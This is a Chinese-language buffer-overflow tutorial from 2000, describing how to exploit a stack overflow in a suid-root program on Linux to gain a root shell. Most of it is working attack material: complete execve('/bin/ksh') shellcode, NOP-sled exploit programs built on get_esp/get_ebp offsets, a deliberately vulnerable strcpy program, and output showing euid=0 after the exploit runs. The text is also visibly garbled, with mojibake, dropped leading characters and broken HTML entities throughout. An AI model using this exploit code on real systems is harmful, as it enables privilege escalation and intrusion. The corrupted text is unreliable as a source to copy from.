
shellcode技術(shù)探討續(xù)二
發(fā)布日期: 2000- 1-25
內(nèi)容:
------------- ------------------------------ ------------------------------ -------
來源:<
> ;
概述:
,1疚慕o出 一個(gè)完整的利用緩沖區(qū)溢出取得root shell的
示例,只要你照著步驟一步步下來,就不會(huì)覺得它的神秘,
,6业囊鈭D正在于此。如果看不明白什么地方,可以在這里< br>,L釂,mail to: ,或者到綠色兵團(tuán)的
,nix安全論壇上提問,tt在那里。水木清華97年以前就 大范
,咚接懻撨^緩沖區(qū)溢出,你沒趕上只能怪自己 生不逢時(shí)。
測試:
,edH at 6.0/Intel PII
目錄:
,1.先來看一次緩沖區(qū)溢出
,2.研 究這個(gè)溢出
,3.修改代碼加強(qiáng)理解
,4. 進(jìn)一步修改代碼
5.還想到什么
,6. 堆棧可執(zhí)行
,7.一個(gè)會(huì)被緩沖區(qū)溢出攻擊的程序例 子
,8.利用緩沖區(qū)溢出取得shell
, 9.分析取得shell失敗的原因
,10. 危險(xiǎn)究 在于什么
,11. 待溢出緩沖區(qū)不足以容納shel lcode時(shí)該如何溢出
12. 總結(jié)與思考
1. 先來看一次緩沖區(qū)溢出
vi sh elltest.c
/* 這是原來的shell code */
/*
char shellcod e[] =
,"
\xeb\x1f\x5e \x89\x76\x08\x31\xc0\x88\x46\x 07\x89\x46\x0c\xb0\x0b"
< br>,"
\x89\xf3\x8d\x4e\x0 8\x8d\x56\x0c\xcd\x80\x31\xdb\ x89\xd8\x40\xcd"
,&q uot;
\x80\xe8\xdc\xff\xff\xff/b in/sh"
;
*/
/* 這是我們昨天自己得到的shellcode */
cha r shellcode[] =
,"
\x eb\x1f\x5e\x89\x76\x09\x31\xc0 \x88\x46\x08\x89\x46\x0d\xb0\x 0b"
,"
\x89\xf3\x 8d\x4e\x09\x8d\x56\x0d\xcd\x80 \x31\xdb\x89\xd8\x40\xcd"
,"
\x80\xe8\xdc\xff\x ff\xff/bin/ksh"
;
c har large_string[128];
int main ()
{
,har buffer[96];
,nt,;
,ong * long_ptr = ( long * ) large_string;
,or ( i = 0;
i <
32;
i++ )
, {
,,/* 用buffer地址一路填寫large _string,一個(gè)指針占用4個(gè)字節(jié) */
,,,* ( long_ptr + i ) = ( int )buff er;
}
,or ( i = 0;
i <
strlen( shellcode );
i++ )
{
,,,arge_string [ i ] = shellcode[ i ];
}
,/* 這個(gè)語句導(dǎo)致main()的返回地址被修改指 向buffer */
,trcpy( buffer , large_string );
}
gcc -o shelltest shelltest.c./shelltest
exit
這 個(gè)程序所做的是,在large_string中填入buffer 的地址,并把shell代碼
放到large_stri ng的前面部分。然后將large_string拷貝到buff er中,造成它溢
出,使返回地址變?yōu)閎uffer,而 buffer的內(nèi)容為shell代碼。這樣當(dāng)程序試圖從
main()中返回時(shí),就會(huì)轉(zhuǎn)而執(zhí)行shell。
< br>scz注:原文有誤,不是試圖從strcpy()返回,而 是試圖從main()返回,必須
,, 區(qū)別這兩種說法 。
2. 研究這個(gè)溢出
在she llcode后面大量追加buffer指針,這是程序的關(guān)鍵所在 ,只有這樣才能
使得buffer指針覆蓋返回地址。其次 ,返回地址是四字節(jié)四字節(jié)來的,所以
在程序中出現(xiàn)的12 8和96不是隨便寫的數(shù)字,這些4的整數(shù)倍的數(shù)字保證了
在strcpy()調(diào)用中能恰好對(duì)齊位置地覆蓋掉返回地址,否則 前后一錯(cuò)位就
不是那么回事情了。
要理解 程序的另外一個(gè)關(guān)鍵在于,堆是位于代碼下方棧上方的。所以buf fer
的溢出只會(huì)朝棧底方向前進(jìn),并不會(huì)覆蓋掉main ()函數(shù)本身的代碼,也是附和
操作系統(tǒng)代碼段只讀要求的 。不要錯(cuò)誤地懷疑main()函數(shù)結(jié)束處的ret語句會(huì)
被覆蓋,切記這點(diǎn)。很多閱讀該程序的兄弟錯(cuò)誤地認(rèn)為buffer 位于代碼段中,
于是一路覆蓋下來破壞了代碼本身,昏倒。
3. 修改代碼加強(qiáng)理解
我們先 只做一個(gè)修改:
,or ( i = 0;
i <
32;
i++ )
{
, ,/* 用shellcode地址一路填寫large_str ing,一個(gè)指針占用4個(gè)字節(jié) */
,,,*( lo ng_ptr + i ) = ( int )shellcod e;
,
返回地址被覆蓋成shell code指針,同樣達(dá)到了取得shell的效果。
4. 進(jìn)一步修改代碼
char shellc ode[] =
,"
\xeb\x1f\x 5e\x89\x76\x09\x31\xc0\x88\x46 \x08\x89\x46\x0d\xb0\x0b"
,"
\x89\xf3\x8d\x4e\x 09\x8d\x56\x0d\xcd\x80\x31\xdb \x89\xd8\x40\xcd"
,&q uot;
\x80\xe8\xdc\xff\xff\xff/b in/ksh"
;
char larg e_string[128];
int mai n ()
{
,har buffer[9 6];
,nt,;
,ong * long_ptr = ( long * )large_st ring;
for ( i = 0;
i <
32;
i++ )
,
,, /* 用shellcode地址一路填寫large_stri ng,一個(gè)指針占用4個(gè)字節(jié) */
,,*( lon g_ptr + i ) = ( int )shellcode ;
}
,/* 這個(gè)語句導(dǎo)致main()的 返回地址被修改指向buffer */
strcpy ( buffer, large_string );
}
啊哈,還是達(dá)到了效果。完全沒有必要把shel lcode拷貝到buffer中來嘛,定義
buffer 的作用就是利用獲得堆指針進(jìn)而向棧底進(jìn)行覆蓋,達(dá)到覆蓋返回 地址
的效果。
5. 還想到什么
既然buffer本身一錢不值,為什么要定義那么大,縮 小它!
char shellcode[] =
,"
\xeb\x1f\x5e\x89\x 76\x09\x31\xc0\x88\x46\x08\x89 \x46\x0d\xb0\x0b"
,&q uot;
\x89\xf3\x8d\x4e\x09\x8d\x 56\x0d\xcd\x80\x31\xdb\x89\xd8 \x40\xcd"
"
\x80 \xe8\xdc\xff\xff\xff/bin/ksh&q uot;
;
char large_string [12];
/* 修改 */
int main ()
{
,har buffer[4] ;
/* 修改 */
inti;
, long * long_ptr = ( long * )la rge_string;
for ( i = 0;
i <
3;
i++ )/* 修改 */< br>,
,,/* 用shellcode地址一 路填寫large_string,一個(gè)指針占用4個(gè)字節(jié) */< br>,,*( long_ptr + i ) = ( i nt )shellcode;
,
/* 這個(gè)語句導(dǎo)致main()的返回地址被修改指向buffer * /
,trcpy( buffer, large_s tring );
}
打住,再修改就失去 研究的意義了。
6. 堆?蓤(zhí)行
在這里我們需要解釋一個(gè)概念,什么叫堆棧可執(zhí)行。
按照 上述第1條目中給出的代碼,實(shí)際上shellcode進(jìn)入了堆區(qū) 甚至棧區(qū),
終被執(zhí)行的是堆棧中的數(shù)據(jù),所謂堆?蓤(zhí)行 ,大概是說允許堆棧中
的數(shù)據(jù)被作為指令執(zhí)行。之所以用大 概這個(gè)詞,因?yàn)槲易约簩?duì)保護(hù)模式
匯編語言不熟悉,不了解 具體細(xì)節(jié),請(qǐng)熟悉的兄弟再指點(diǎn)。許多操作系
統(tǒng)可以設(shè)置系 統(tǒng)參數(shù)禁止把堆棧中的數(shù)據(jù)作為指令執(zhí)行,比如solaris中可以在/etc/system中設(shè)置:
* Foil certain classes of bug e xploits
set noexec_user_sta ck = 1
* Log attempted exploits
set noexec_user_st ack_log = 1
Linux下如何禁止堆 ?蓤(zhí)行我也沒仔細(xì)看過相關(guān)文檔,誰知道誰就說
一聲吧。
按照上述第3條目及其以后各條目給出的代碼,實(shí) 際上執(zhí)行了位于數(shù)據(jù)段
.data中的shellcode 。我不知道做了禁止堆?蓤(zhí)行設(shè)置之后,能否阻止
數(shù)據(jù)段 可執(zhí)行?誰了解保護(hù)模式匯編,給咱們講講。
即使 這些都被禁止了,也可以在代碼段中嵌入shellcode,代碼 段中的
shellcode是一定會(huì)被執(zhí)行的。
< br>可是,上面的討論忽略了一個(gè)重要前提,我們要溢出別人的函 數(shù),而
不是有源代碼供你修改的自己的函數(shù)。在這個(gè)前提下 ,我們可能利用的
就是種方式了,明白?
< br>7. 一個(gè)會(huì)被緩沖區(qū)溢出攻擊的程序例子
我們僅僅明白了如何利用緩沖區(qū)溢出修改函數(shù)的返回地址而已?汕 面修改的
是我們自己的main()函數(shù)返回地址,沒有用 。仔細(xì)想想,如果執(zhí)行一個(gè)suid了
的程序,該程序的m ain()函數(shù)實(shí)現(xiàn)中有下述代碼:
/* gcc -o overflow overflow.c */
int main ( int argc, char * ar gv[] )
{
,har buffer[ 16 ] = "
"
;
,f ( argc >
1 )
,
,,, strcpy( buffer, argv[1] );
,,,uts( buffer );
,
,lse
,
,,,uts( &qu ot;
Argv[1] needed!"
);
}
,eturn 0;
}
[scz@ /home/scz/src]>
./o verflow 0123456789abcdefghi
0123456789abcdefghi
[scz@ /home/scz/src]>
./overflow 0123456789abcdefghij
012345 6789abcdefghij
Segmentation fault (core dumped)
[scz@ /home/scz/src]>
./overflow 0123456789abcdefghijk
01234 56789abcdefghijk
BUG IN DYN AMIC LINKER ld.so: dl-runtime. c: 61: fixup: Assertion `((rel oc->
r_info) & 0xff) == 7 9;
failed!
[scz@ /home/scz/ src]>
./overflow 0123456789 abcdefghijkl
0123456789abcd efghijkl
Segmentation fault (core dumped)
[scz@ /home/ scz/src]>
gdb overflow
G NU gdb 4.17.0.11 with Linux su pport
This GDB was configur ed as "
i386-redhat-linux& quot;
..
(gdb) target core c ore <
-- -- -- 調(diào)入core文件
Core was generated by `./overf low 0123456789abcdefghijkl' ;
.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/ libc.so.6...done.
Reading s ymbols from /lib/ld-linux.so.2 ...done.
#00x40006c79 in _ dl_load_cache_lookup (name=Can not access memory at address 0 x6a69686f.
) at ../sysdeps/ generic/dl-cache.c:202
../s ysdeps/generic/dl-cache.c:202: No such file or directory.
(gdb) detach <
-- -- -- 卸掉 core文件
No core file now.
(gdb)
8. 利用緩沖區(qū)溢出取得she ll
/* gcc -o overflow_e x overflow_ex.c */
#def ine BUFFER_SIZE256
#defin e DEFAULT_OFFSET 64
uns igned long get_esp ()
{
,_asm__
,("
,, movl %esp, %eax
,"
);
}
int main ( int a rgc, char * argv[] )
{
< br>,har shellcode[] =
,"
\xeb\x1f\x5e\x89\x76\x 09\x31\xc0\x88\x46\x08\x89\x46 \x0d\xb0\x0b"
,,,&quo t;
\x89\xf3\x8d\x4e\x09\x8d\x56 \x0d\xcd\x80\x31\xdb\x89\xd8\x 40\xcd"
,,"
\x80 \xe8\xdc\xff\xff\xff/bin/ksh&q uot;
;
,har *,,,,uff er = 0;
,nsigned long * pAddress = 0;
,har *,,, pChar,= 0;
,nt,,,, i;
,nt,,,, offset = DEF AULT_OFFSET;
,uffer = ( char * )malloc( BUFFER_SIZE * 2 + 1 );
,f ( buffer = = 0 )
{
,,,uts( &quo t;
Can'
t allocate memory&qu ot;
);
,,,xit( 0 );
, }
,Char = buffer;
,/ * fill start of buffer with no ps */
,emset( pChar, 0x90 , BUFFER_SIZE - strlen( shellc ode ) );
,Char += ( BUFFE R_SIZE - strlen( shellcode ) ) ;
/* stick asm code into the buffer */
,or ( i = 0;
i <
strlen( shellcode ) ;
i++ )
,
,,,*( pChar ++ ) = shellcode[ i ];
,< br>,Address = ( unsigned lon g * )pChar;
for ( i = 0 ;
i <
( BUFFER_SIZE / 4 );
i ++ )
,
,,,*( pAddress ++ ) = get_esp() + offset;
,
,Char= ( char * )pAd dress;
*pChar = 0;
, execl( "
/home/scz/src/ove rflow"
, "
/home/scz/s rc/overflow"
, buffer, 0 ) ;
,eturn 0;
}
程 序中g(shù)et_esp()函數(shù)的作用就是定位堆棧位置。首先分配一 塊內(nèi)存buffer,然后在buffer的前面部分
填滿 NOP,后面部分放shellcode。后部分是希望程序返回 的地址,由棧頂指針加偏移得到。當(dāng)以buffer
為參數(shù) 調(diào)用overflow時(shí),將造成overflow程序的緩沖區(qū)溢 出,其緩沖區(qū)被buffer覆蓋,而返回地址將指向
NO P指令。
[scz@ /home/scz/sr c]>
gcc -o overflow_ex over flow_ex.c
[scz@ /home/scz/s rc]>
./overflow_ex
... . ..
.../bin/ksh...
... .. .
Segmentation fault (core dumped)
[scz@ /home/scz/src ]>
失敗,雖然發(fā)生了溢出,卻沒有取得 可以使用的shell。
9. 分析取得shel l失敗的原因
條目7中給出的源代碼表明over flow.c只提供了16個(gè)字節(jié)的緩沖區(qū),
按照我們前面 討論的溢出技術(shù),overflow_ex導(dǎo)致overflow的 main()函數(shù)的返回地址被0x90覆蓋,
沒有足夠空 間存放shellcode。
讓我們對(duì)overf low.c做一點(diǎn)小小的調(diào)整以遷就overflow_ex.c的 成功運(yùn)行:
old:char buffer [ 16 ] = "
"
;
new: ,har buffer[ 256 ] = "
& quot;
;
[scz@ /home/scz/ src]>
./overflow_ex
... ... <
-- -- -- NOP指令的漢字顯示.../bin/ksh...
... ... &l t;
-- -- -- 返回地址的漢字顯示
$ exi t <
-- -- -- 取得了shell
[s cz@ /home/scz/src]>
10. 危險(xiǎn)究在于什么
假設(shè)曾經(jīng)發(fā)生過這樣 的操作:
[root@ /home/scz/s rc]>
chown root.root overfl ow
[root@ /home/scz/src]> ;
chmod +s overflow
[root@ /home/scz/src]>
ls -l overf low
-rwsr-sr-x 1 root ro ot overflow
[root@ /home/sc z/src]>
好了,麻煩就是這樣開始的 :
[scz@ /home/scz/src]& gt;
./overflow_ex
... ... & lt;
-- -- -- NOP指令的漢字顯示
... /bin/ksh...
... ... <
-- -- -- 返回地址的漢字顯示
# id <
-- -- -- 你得到了root shell,看看你是誰吧
uid=500(scz) gid=100(users ) euid=0(root) egid=0(root) gr oups=100(users)
,,,,,,,,,, ,,~~~~~~~~~~~~~~~~~~~~~~~~ 昏 倒
# exit
[scz@ /home/scz /src]>
id
uid=500(scz) g id=100(users) groups=100(users )
[scz@ /home/scz/src]>
至此你應(yīng)該明白如何書寫自己的shellcod e,如何辨別一個(gè)shellcode是否
真正是在提供s hell而不是木馬,什么是緩沖區(qū)溢出,究如何利用緩沖區(qū)溢出,什么情況下的緩沖區(qū)溢出對(duì)攻擊者非常有利,suid/ sgid程序的危險(xiǎn)
性等等。于是你也明白了,為什么某些 exploit出來之后如果沒有補(bǔ)丁,
一般都建議你先c hmod -s,沒有什么奇怪,雖然取得shell,但不是root shell而已。
11. 待溢出 緩沖區(qū)不足以容納shellcode時(shí)該如何溢出
vi overflow.c
/* gcc - o overflow overflow.c */
in t main ( int argc, char * argv [] )
{
,har buffer[ 9 ] = "
"
;
,f ( a rgc >
1 )
{
,,,tr cpy( buffer, argv[1] );
,, puts( buffer );
,
, lse
,
,,,uts( "
Argv[1] needed!"
);
}
,eturn 0;
}
- ------------------------------ --------
vi overflow_ex .c
/* gcc -o overflow_e x overflow_ex.c */
#def ine BUFFER_SIZE256
/* 取;羔 */
unsigned long get _ebp ()
{
__asm__
,("
,,ovl %ebp, %e ax
,"
);
}
int main ( int argc, char * ar gv[] )
{
,har shel lcode[] =
,,,"
\xeb\x 1f\x5e\x89\x76\x09\x31\xc0\x88 \x46\x08\x89\x46\x0d\xb0\x0b&q uot;
,,,"
\x89\xf3\x8d \x4e\x09\x8d\x56\x0d\xcd\x80\x 31\xdb\x89\xd8\x40\xcd"
,,,"
\x80\xe8\xdc\xff\x ff\xff/bin/ksh"
;
char *,,,uffer = 0;
, unsigned long * pAddress = 0;
,har *,,,,Char,= 0;
,nt,,,,, i;
buf fer = ( char * )malloc( BUFFER _SIZE * 2 + 1 );
,f ( buf fer == 0 )
{
,,,uts( "
Can'
t allocate memo ry"
);
,xit( 0 );
< br>,
,Address = ( unsi gned long * )buffer;
for ( i = 0 ;
i <
( BUFFER_SIZE / 4 );
i++ )
,
,,,*( pAddress++ ) = get_ebp() + BU FFER_SIZE;
,
,Char = buffer + BUFFER_SIZE;
,/* fill start of buffer with nop s */
memset( pChar, 0x90, BUFFER_SIZE - strlen( shellco de ) );
,Char += ( BUFFER _SIZE - strlen( shellcode ) );
,/* stick asm code into the buffer */
,or ( i = 0;
i <
strlen( shellcode );
i++ )
,
,,,*( pChar+ + ) = shellcode[ i ];
,,*pChar = 0;
,xecl( & quot;
/home/scz/src/overflow&qu ot;
, "
/home/scz/src/overf low"
, buffer, 0 );
r eturn 0;
}
[scz@ /ho me/scz/src]>
./overflow_ex< br>... ... <
-- -- -- 返回地址的 漢字顯示
... ... <
-- -- -- NOP指令的漢字顯示
.../bin/ksh... & lt;
-- -- -- shellcode的漢字顯示
$ exit <
-- -- -- 溢出成功,取得s hell
[scz@ /home/scz/src]&g t;
warning3注:對(duì)于簡單的弱點(diǎn)程序, 這種方法是可行的.不過如果問題
函數(shù)有很多參數(shù),并且這 些參數(shù)在strcpy()之后還要使用的話,這種方
法就 很難成功了.
例如:
vulnerable_fu nc(arg1,arg2,arg3)
{
cha r *buffer[16];
...
strcp y(buffer,arg1);
...
othe r_func(arg2);
...
other_ func(arg3);
...
}
如果直 接覆蓋,就會(huì)導(dǎo)致arg1,arg2,arg3也被覆蓋,函數(shù)就 可能不能正常返回.
Aleph1的辦法是將sh ellcode放到環(huán)境變量里傳遞給有弱點(diǎn)的函數(shù),用環(huán)境變量< br>的地址做為返回地址,這樣我們可以只用24個(gè)字節(jié)的buf fer來覆蓋掉返回地址,
而不需要改動(dòng)參數(shù).
< br>12. 總結(jié)與思考
,I厦孢@些例子本身 很簡單,完全不同于那些端復(fù)雜的溢出例子。但無論多么
,(fù)雜,其基本原理是一樣的。要完成取得root shell 的緩沖區(qū)攻擊:
,. 有一個(gè)可以發(fā)生溢出的 可執(zhí)行程序,各種Mail List會(huì)不斷報(bào)告新發(fā)現(xiàn)的可供,, 攻擊的程序;自己也可以通過某些低級(jí)調(diào)試手段獲知程 序中是否存在容易發(fā)生
,, 溢出的函數(shù)調(diào)用,這些調(diào)試 手段不屬于今天講解范疇,以后再提。
,. 該程序是 root的suid程序,用ls -l確認(rèn)。
,. 普通用戶有適當(dāng)?shù)臋?quán)限運(yùn)行該程序。
,. 編寫合理的 溢出攻擊程序,shellcode可以從以前成功使用過的例子中 提取。
,. 要合理調(diào)整溢出程序,尋找(或者說探測 )main()函數(shù)的返回地址存放點(diǎn),找到
,, 它并 用自己的shellcode地址覆蓋它;這可能需要很大的耐心和 毅力。
,倪@些簡單的示例中看出,為了得到一 個(gè)可成功運(yùn)行的exploit,攻擊者們付出過太
,6 心血,每一種技術(shù)的產(chǎn)生和應(yīng)用都是各種知識(shí)長期積累、自己不斷總 結(jié)、大家群策
,H毫Φ慕Y(jié)果,如果認(rèn)為了解幾個(gè)現(xiàn)成的b ug就可以如何如何,那是種悲哀。
后記:
顛峰時(shí)刻的水木清華的確不是其他站點(diǎn)可以大范圍 越的,盡管在某些個(gè)別版面上
,4嬖谥滞タ苟Y。如果你 想了解系統(tǒng)安全,應(yīng)該從水木清華 Hacker 版98.6以前 的
,K芯A區(qū)打包文件開始,那些舊日的討論和技術(shù)文 章在現(xiàn)在看來也值得初學(xué)者仔
,<(xì)研讀。
,N恼碌淖谥疾⒉皇墙棠氵M(jìn)行實(shí)際破壞,但你掌握了這種技術(shù), 或者退一步,了解過這
,7N技術(shù),對(duì)于狂熱愛好計(jì)算機(jī)技 術(shù)的你來說,不是什么壞事。也許在討論它們的時(shí)候,
某些人企圖阻止過你了解它們,或者當(dāng)你想了解它們的時(shí)候,有人給 你帶來過不愉快
的感受,忘記這些人,just do it! 只是你還應(yīng)該明白一些事實(shí),看過<
<
這個(gè) 殺手不
太冷>
>
沒有,no child ren、no women,我想說的不是這個(gè),但你應(yīng)該明白我想 說什么。
,ood luck for you.< br>